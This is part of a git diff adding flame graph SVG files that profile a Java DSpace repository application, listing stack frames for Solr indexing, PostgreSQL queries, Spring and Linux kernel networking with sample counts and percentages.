+ip_rcv_core.isra.0 (1 samples, 0.09%) + + + +arrayof_jint_fill (1 samples, 0.09%) + + + +java/util/HashMap:::resize (1 samples, 0.09%) + + + +poll_schedule_timeout.constprop.0 (3 samples, 0.27%) + + + +put_prev_entity (1 samples, 0.09%) + + + +start_thread (761 samples, 69.31%) +start_thread + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.09%) + + + +__x64_sys_recvfrom (47 samples, 4.28%) +__x64.. + + +__sched_text_start (61 samples, 5.56%) +__sched.. + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +org/apache/log4j/DefaultThrowableRenderer:::render (7 samples, 0.64%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (2 samples, 0.18%) + + + +hrtimer_interrupt (1 samples, 0.09%) + + + +__x64_sys_connect (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +org/springframework/beans/BeanWrapperImpl:::getWrappedClass (1 samples, 0.09%) + + + +org/apache/http/entity/InputStreamEntity:::writeTo (3 samples, 0.27%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.09%) + + + +loopback_xmit (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryConnect (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::clearParameters (1 samples, 0.09%) + + + +org/apache/log4j/helpers/ISO8601DateFormat:::format (1 samples, 0.09%) + + + +__sched_text_start (1 samples, 0.09%) + + + +java/lang/Integer:::toString (1 samples, 0.09%) + + + +vtable stub (1 samples, 0.09%) + + + +org/dspace/content/Bundle:::getName (10 samples, 0.91%) + + + +ExceptionBlob (1 samples, 0.09%) + + + +__x64_sys_openat (1 samples, 0.09%) + + + +update_rq_clock (1 samples, 0.09%) + + + +tcp_v4_rcv (47 samples, 4.28%) +tcp_v.. + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +java/nio/charset/CharsetEncoder:::encode (1 samples, 0.09%) + + + +java/util/regex/Pattern$Ques:::study (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::predictBeanType (13 samples, 1.18%) + + + +org/postgresql/core/v3/SimpleParameterList:::getV3Length (1 samples, 0.09%) + + + +org/postgresql/core/PGStream:::Receive (1 samples, 0.09%) + + + +sun/nio/cs/UTF_8$Encoder:::encode (5 samples, 0.46%) + + + +acpi_ev_sci_xrupt_handler (1 samples, 0.09%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +handle_irq_event (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +jshort_arraycopy (1 samples, 0.09%) + + + +tcp_push (154 samples, 14.03%) +tcp_push + + +Interpreter (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/util/Collections$SynchronizedCollection:::add (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +org/dspace/discovery/configuration/DiscoverySearchFilter:::getMetadataFields (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/lang/String:::getBytes (7 samples, 0.64%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (5 samples, 0.46%) + + + +Interpreter (747 samples, 68.03%) +Interpreter + + +org/springframework/beans/PropertyEditorRegistrySupport:::createDefaultEditors (94 samples, 8.56%) +org/springfr.. + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (5 samples, 0.46%) + + + +__GI___libc_write (2 samples, 0.18%) + + + +org/apache/commons/logging/impl/SLF4JLogFactory:::getInstance (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +vtable stub (1 samples, 0.09%) + + + +__sys_shutdown (1 samples, 0.09%) + + + +process_backlog (1 samples, 0.09%) + + + +org/apache/http/impl/client/RequestWrapper:::resetHeaders (1 samples, 0.09%) + + + +flexible_sched_in (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getMetaData (1 samples, 0.09%) + + + +org/springframework/core/env/MutablePropertySources:::addLast (17 samples, 1.55%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +__ksize (4 samples, 0.36%) + + + +ext4_da_write_end (1 samples, 0.09%) + + + +inet6_sendmsg (185 samples, 16.85%) +inet6_sendmsg + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject:::getMetadata (10 samples, 0.91%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +Interpreter (747 samples, 68.03%) +Interpreter + + +[libjvm.so] (1 samples, 0.09%) + + + +__softirqentry_text_start (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/TableRow:::setColumn (5 samples, 0.46%) + + + +java/util/regex/Pattern$Curly:::study (1 samples, 0.09%) + + + +tcp_in_window (2 samples, 0.18%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +irq_exit (1 samples, 0.09%) + + + +java/lang/Object:::notifyAll (1 samples, 0.09%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::instantiateBean (31 samples, 2.82%) +or.. + + +__pthread_mutex_unlock_usercnt (1 samples, 0.09%) + + + +org/apache/solr/common/util/JavaBinCodec:::readSolrDocument (1 samples, 0.09%) + + + +org/postgresql/jdbc4/Jdbc4Statement:::createResultSet (1 samples, 0.09%) + + + +sock_recvmsg (44 samples, 4.01%) +sock.. + + +java/util/regex/Pattern:::compile (11 samples, 1.00%) + + + +java/util/regex/Pattern$BranchConn:::match (1 samples, 0.09%) + + + +x86_pmu_enable (60 samples, 5.46%) +x86_pmu.. + + +org/dspace/content/Community:::<init> (12 samples, 1.09%) + + + +add_interrupt_randomness (1 samples, 0.09%) + + + +java/util/ArrayList$Itr:::hasNext (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +org/dspace/servicemanager/spring/DSpaceBeanPostProcessor:::postProcessBeforeInitialization (1 samples, 0.09%) + + + +ktime_get (1 samples, 0.09%) + + + +call_stub (747 samples, 68.03%) +call_stub + + +org/springframework/beans/factory/support/AbstractBeanFactory:::isTypeMatch (22 samples, 2.00%) +o.. + + +__cgroup_bpf_run_filter_skb (1 samples, 0.09%) + + + +__ip_queue_xmit (1 samples, 0.09%) + + + +java/util/regex/Pattern$GroupTail:::match (3 samples, 0.27%) + + + +tcp_send_fin (1 samples, 0.09%) + + + +java/net/SocketTimeoutException:::<init> (3 samples, 0.27%) + + + +org/apache/log4j/WriterAppender:::subAppend (10 samples, 0.91%) + + + +__tcp_push_pending_frames (154 samples, 14.03%) +__tcp_push_pending_fr.. + + +__lookup_slow (1 samples, 0.09%) + + + +handle_fasteoi_irq (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (7 samples, 0.64%) + + + +org/postgresql/core/PGStream:::Receive (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +[libjvm.so] (7 samples, 0.64%) + + + +do_softirq.part.0 (101 samples, 9.20%) +do_softirq.pa.. + + +org/apache/http/impl/conn/PoolingClientConnectionManager:::releaseConnection (2 samples, 0.18%) + + + +irq_enter (1 samples, 0.09%) + + + +__dev_queue_xmit (7 samples, 0.64%) + + + +wake_up_process (1 samples, 0.09%) + + + +finish_task_switch (14 samples, 1.28%) + + + +java/lang/String:::hashCode (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (7 samples, 0.64%) + + + +nf_ct_get_tuple (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2ResultSet:::getString (1 samples, 0.09%) + + + +__perf_event_task_sched_out (2 samples, 0.18%) + + + +java/net/SocketInputStream:::read (2 samples, 0.18%) + + + +nft_do_chain_inet (7 samples, 0.64%) + + + +x86_pmu_disable (1 samples, 0.09%) + + + +__mark_inode_dirty (1 samples, 0.09%) + + + +inet_ehashfn (1 samples, 0.09%) + + + +org/springframework/core/env/AbstractEnvironment:::<init> (89 samples, 8.11%) +org/springf.. + + +org/postgresql/core/PGStream:::Receive (3 samples, 0.27%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +java/util/regex/Pattern$Curly:::match (3 samples, 0.27%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (19 samples, 1.73%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +java/util/LinkedList:::add (1 samples, 0.09%) + + + +get_random_u32 (1 samples, 0.09%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +org/apache/http/client/methods/HttpPost:::<init> (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::encode (14 samples, 1.28%) + + + +kmem_cache_free (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.09%) + + + +do_IRQ (1 samples, 0.09%) + + + +path_openat (1 samples, 0.09%) + + + +org/apache/http/protocol/BasicHttpContext:::setAttribute (1 samples, 0.09%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +java/util/regex/Pattern$Branch:::match (3 samples, 0.27%) + + + +visit_groups_merge (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (2 samples, 0.18%) + + + +perf_pmu_enable.part.0 (5 samples, 0.46%) + + + +nft_meta_get_eval (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +com/atmire/dspace/discovery/AtmireSolrService:::buildDocument (622 samples, 56.65%) +com/atmire/dspace/discovery/AtmireSolrService:::buildDocument + + +swake_up_one (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (4 samples, 0.36%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +x86_pmu_enable (5 samples, 0.46%) + + + +org/dspace/storage/rdbms/TableRow:::getIntColumn (1 samples, 0.09%) + + + +__libc_recv (1 samples, 0.09%) + + + +java/lang/String:::toLowerCase (3 samples, 0.27%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +__handle_irq_event_percpu (1 samples, 0.09%) + + + +[libjvm.so] (14 samples, 1.28%) + + + +java/util/regex/Pattern$Branch:::match (3 samples, 0.27%) + + + +__slab_alloc.isra.0 (1 samples, 0.09%) + + + +__netif_receive_skb_one_core (1 samples, 0.09%) + + + +skb_release_all (1 samples, 0.09%) + + + +__GI___libc_write (3 samples, 0.27%) + + + +iptable_raw_hook (3 samples, 0.27%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.09%) + + + +tcp_conn_request (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject$MetadataCache:::get (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +_register_finalizer_Java (3 samples, 0.27%) + + + +nft_do_chain_inet (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (2 samples, 0.18%) + + + +x86_pmu_enable (12 samples, 1.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +__alloc_skb (14 samples, 1.28%) + + + +Interpreter (747 samples, 68.03%) +Interpreter + + +skb_push (1 samples, 0.09%) + + + +call_stub (747 samples, 68.03%) +call_stub + + +exit_to_usermode_loop (1 samples, 0.09%) + + + +nf_hook_slow (24 samples, 2.19%) +n.. + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (19 samples, 1.73%) + + + +entry_SYSCALL_64_after_hwframe (2 samples, 0.18%) + + + +java/lang/Object:::notifyAll (1 samples, 0.09%) + + + +__poll (7 samples, 0.64%) + + + +[libjvm.so] (8 samples, 0.73%) + + + +org/postgresql/core/v3/SimpleParameterList:::getV3Length (1 samples, 0.09%) + + + +org/dspace/content/ItemIdIterator:::next (1 samples, 0.09%) + + + +[libjvm.so] (25 samples, 2.28%) +[.. + + +org/dspace/storage/rdbms/DatabaseManager:::process (2 samples, 0.18%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +event_sched_in.isra.0 (1 samples, 0.09%) + + + +__x64_sys_write (2 samples, 0.18%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (31 samples, 2.82%) +or.. + + +iptable_raw_hook (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (1 samples, 0.09%) + + + +org/springframework/beans/factory/support/DefaultSingletonBeanRegistry:::getSingleton (4 samples, 0.36%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (1 samples, 0.09%) + + + +new_sync_write (2 samples, 0.18%) + + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.18%) + + + +net_rx_action (96 samples, 8.74%) +net_rx_action + + +org/dspace/content/DSpaceObject$MetadataCache:::get (10 samples, 0.91%) + + + +[libjvm.so] (7 samples, 0.64%) + + + +schedule_timeout (30 samples, 2.73%) +sc.. + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (13 samples, 1.18%) + + + +sun/nio/cs/UTF_8$Encoder:::encode (1 samples, 0.09%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.09%) + + + +__check_block_validity.constprop.0 (1 samples, 0.09%) + + + +java/text/DateFormatSymbols:::initializeData (1 samples, 0.09%) + + + +JVM_DoPrivileged (26 samples, 2.37%) +J.. + + +org/apache/http/impl/conn/DefaultClientConnection:::close (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::rewriteRequestURI (3 samples, 0.27%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.09%) + + + +org/dspace/content/Community:::getParentCommunity (12 samples, 1.09%) + + + +__netif_receive_skb_core (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +tcp_send_ack (1 samples, 0.09%) + + + +[libjvm.so] (747 samples, 68.03%) +[libjvm.so] + + +java/text/DateFormat:::format (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (1 samples, 0.09%) + + + +org/dspace/util/MultiFormatDateParser:::parse (1 samples, 0.09%) + + + +netif_skb_features (1 samples, 0.09%) + + + +acpi_hw_read (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +call_stub (3 samples, 0.27%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (4 samples, 0.36%) + + + +org/apache/log4j/Category:::callAppenders (10 samples, 0.91%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (63 samples, 5.74%) +org/apa.. + + +psi_task_change (4 samples, 0.36%) + + + +org/dspace/storage/rdbms/TableRow:::resetChanged (1 samples, 0.09%) + + + +__perf_event_task_sched_in (1 samples, 0.09%) + + + +ip_rcv_finish (1 samples, 0.09%) + + + +eth_type_trans (1 samples, 0.09%) + + + +acpi_irq (1 samples, 0.09%) + + + +org/dspace/content/DSpaceObject:::getMetadata (1 samples, 0.09%) + + + +java/lang/Throwable:::getStackTraceElement (5 samples, 0.46%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (4 samples, 0.36%) + + + +_register_finalizer_Java (3 samples, 0.27%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +crypt_endio (1 samples, 0.09%) + + + +org/apache/http/entity/mime/content/StringBody:::writeTo (11 samples, 1.00%) + + + +ip_output (110 samples, 10.02%) +ip_output + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +__hrtimer_run_queues (1 samples, 0.09%) + + + +org/apache/solr/common/util/JavaBinCodec:::readSolrDocumentList (1 samples, 0.09%) + + + +__remove_hrtimer (1 samples, 0.09%) + + + +java/text/SimpleDateFormat:::parse (1 samples, 0.09%) + + + +pthread_cond_signal@@GLIBC_2.3.2 (1 samples, 0.09%) + + + +tcp_mstamp_refresh (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (1 samples, 0.09%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::write (2 samples, 0.18%) + + + +__ip_local_out (23 samples, 2.09%) +_.. + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.18%) + + + +do_syscall_64 (61 samples, 5.56%) +do_sysc.. + + +_raw_spin_lock (1 samples, 0.09%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +__sched_text_start (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (3 samples, 0.27%) + + + +[libjvm.so] (2 samples, 0.18%) + + + +java/util/HashMap:::get (1 samples, 0.09%) + + + +tcp_v4_do_rcv (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +intel_tfa_pmu_enable_all (1 samples, 0.09%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getProperty (1 samples, 0.09%) + + + +__sched_text_start (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +__vsnprintf_internal (1 samples, 0.09%) + + + +org/dspace/content/Item:::getCollections (6 samples, 0.55%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.09%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (7 samples, 0.64%) + + + +java/util/regex/Pattern$Curly:::match (2 samples, 0.18%) + + + +process_backlog (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +vtable stub (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::study (4 samples, 0.36%) + + + +tcp_cleanup_rbuf (2 samples, 0.18%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +java/lang/StringBuilder:::toString (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (2 samples, 0.18%) + + + +[libjvm.so] (4 samples, 0.36%) + + + +kfree_skbmem (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::clearParameters (1 samples, 0.09%) + + + +check_preempt_curr (2 samples, 0.18%) + + + +[libnet.so] (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::match0 (3 samples, 0.27%) + + + +ext4_dirty_inode (1 samples, 0.09%) + + + +sk_stream_alloc_skb (16 samples, 1.46%) + + + +ip_local_deliver (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::match (3 samples, 0.27%) + + + +hrtimer_interrupt (1 samples, 0.09%) + + + +rb_insert_color (1 samples, 0.09%) + + + +org/apache/http/client/protocol/RequestAuthenticationBase:::process (1 samples, 0.09%) + + + +java/lang/StringBuilder:::append (3 samples, 0.27%) + + + +nf_nat_ipv4_fn (1 samples, 0.09%) + + + +tcp_write_xmit (153 samples, 13.93%) +tcp_write_xmit + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (4 samples, 0.36%) + + + +_register_finalizer_Java (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (2 samples, 0.18%) + + + +call_stub (1 samples, 0.09%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (7 samples, 0.64%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (4 samples, 0.36%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +rcu_report_qs_rnp (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (2 samples, 0.18%) + + + +org/apache/http/impl/client/RequestWrapper:::resetHeaders (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (2 samples, 0.18%) + + + +java/util/regex/Pattern:::atom (2 samples, 0.18%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +java/util/regex/Pattern$Ques:::match (2 samples, 0.18%) + + + +org/postgresql/core/PGStream:::Receive (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (2 samples, 0.18%) + + + +__fget (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::loadParameters (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::findByUnique (9 samples, 0.82%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/DatabaseManager:::query (5 samples, 0.46%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (2 samples, 0.18%) + + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (3 samples, 0.27%) + + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.18%) + + + +org/apache/log4j/WriterAppender:::subAppend (5 samples, 0.46%) + + + +org/apache/solr/client/solrj/request/ContentStreamUpdateRequest:::getContentStreams (1 samples, 0.09%) + + + +org/springframework/beans/factory/annotation/RequiredAnnotationBeanPostProcessor:::postProcessPropertyValues (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (9 samples, 0.82%) + + + +__sk_dst_check (1 samples, 0.09%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +tcp_send_mss (4 samples, 0.36%) + + + +acpi_ev_sci_xrupt_handler (1 samples, 0.09%) + + + +rb_first (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (1 samples, 0.09%) + + + +Interpreter (747 samples, 68.03%) +Interpreter + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +__inet_stream_connect (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (5 samples, 0.46%) + + + +jshort_disjoint_arraycopy (1 samples, 0.09%) + + + +handle_irq_event_percpu (1 samples, 0.09%) + + + +memcg_kmem_put_cache (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +schedule_hrtimeout_range_clock (3 samples, 0.27%) + + + +java/util/AbstractCollection:::addAll (1 samples, 0.09%) + + + +dequeue_task_fair (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +sched_clock (1 samples, 0.09%) + + + +bbr_main (4 samples, 0.36%) + + + +__entry_text_start (5 samples, 0.46%) + + + +Java_java_lang_Class_forName0 (2 samples, 0.18%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +java/lang/Throwable:::printStackTrace (6 samples, 0.55%) + + + +ip_output (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (3 samples, 0.27%) + + + +java/io/FileOutputStream:::writeBytes (3 samples, 0.27%) + + + +perf_swevent_add (1 samples, 0.09%) + + + +intel_tfa_pmu_enable_all (5 samples, 0.46%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +com/atmire/dspace/discovery/AtmireSolrService:::writeDocument (175 samples, 15.94%) +com/atmire/dspace/discov.. + + +kfree_skbmem (1 samples, 0.09%) + + + +java/util/regex/Pattern:::group0 (6 samples, 0.55%) + + + +java/lang/ref/Finalizer:::register (1 samples, 0.09%) + + + +org/apache/http/message/BasicHeaderValueParser:::parseNameValuePair (1 samples, 0.09%) + + + +nft_do_chain_inet (1 samples, 0.09%) + + + +end_bio_bh_io_sync (1 samples, 0.09%) + + + +java/lang/String:::split (2 samples, 0.18%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getPropertyAsType (95 samples, 8.65%) +org/dspace/s.. + + +org/springframework/beans/propertyeditors/CustomMapEditor:::<init> (1 samples, 0.09%) + + + +visit_groups_merge (1 samples, 0.09%) + + + +org/postgresql/core/PGStream:::Receive (1 samples, 0.09%) + + + +nft_ct_get_eval (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +acpi_ev_gpe_detect (1 samples, 0.09%) + + + +java/io/FileOutputStream:::write (3 samples, 0.27%) + + + +__intel_pmu_enable_all.constprop.0 (12 samples, 1.09%) + + + +ext4_getblk (1 samples, 0.09%) + + + +java/util/ArrayList$SubList$1:::hasNext (1 samples, 0.09%) + + + +org/apache/solr/common/util/JavaBinCodec:::readVal (1 samples, 0.09%) + + + +x86_pmu_enable (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +strncpy (3 samples, 0.27%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (3 samples, 0.27%) + + + +skb_release_all (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (5 samples, 0.46%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendBind (1 samples, 0.09%) + + + +memcmp (1 samples, 0.09%) + + + +file_update_time (2 samples, 0.18%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (27 samples, 2.46%) +or.. + + +org/dspace/discovery/SearchUtils:::getAllDiscoveryConfigurations (7 samples, 0.64%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::receiveResponseEntity (3 samples, 0.27%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +rb_next (1 samples, 0.09%) + + + +__x64_sys_shutdown (1 samples, 0.09%) + + + +ret_from_intr (1 samples, 0.09%) + + + +java/security/AccessController:::doPrivileged (27 samples, 2.46%) +ja.. + + +update_rq_clock (1 samples, 0.09%) + + + +wait_woken (31 samples, 2.82%) +wa.. + + +org/apache/commons/pool/impl/GenericKeyedObjectPool:::borrowObject (1 samples, 0.09%) + + + +sched_clock (1 samples, 0.09%) + + + +handle_fasteoi_irq (1 samples, 0.09%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::doCreateBean (36 samples, 3.28%) +org.. + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (2 samples, 0.18%) + + + +JNU_ThrowByName (1 samples, 0.09%) + + + +org/apache/http/client/methods/HttpPost:::<init> (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendSync (1 samples, 0.09%) + + + +JVM_GetStackTraceElement (5 samples, 0.46%) + + + +ext4_bread_batch (1 samples, 0.09%) + + + + diff --git a/docs/2020/02/out.dspace64-3.svg b/docs/2020/02/out.dspace64-3.svg new file mode 100644 index 000000000..16d38c48a --- /dev/null +++ b/docs/2020/02/out.dspace64-3.svg @@ -0,0 +1,4996 @@ + + + + + + + + + + + + + + +Flame Graph + +Reset Zoom +Search +ic + + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.08%) + + + +ip_local_out (24 samples, 1.90%) +i.. + + +__wake_up_common (1 samples, 0.08%) + + + +org/dspace/discovery/FullTextContentStreams:::<init> (4 samples, 0.32%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::processSubNodes (1 samples, 0.08%) + + + +apic_timer_interrupt (1 samples, 0.08%) + + + +__perf_event_task_sched_in (12 samples, 0.95%) + + + +java/util/regex/Pattern:::sequence (1 samples, 0.08%) + + + +sock_sendmsg (33 samples, 2.62%) +so.. + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +jshort_disjoint_arraycopy (1 samples, 0.08%) + + + 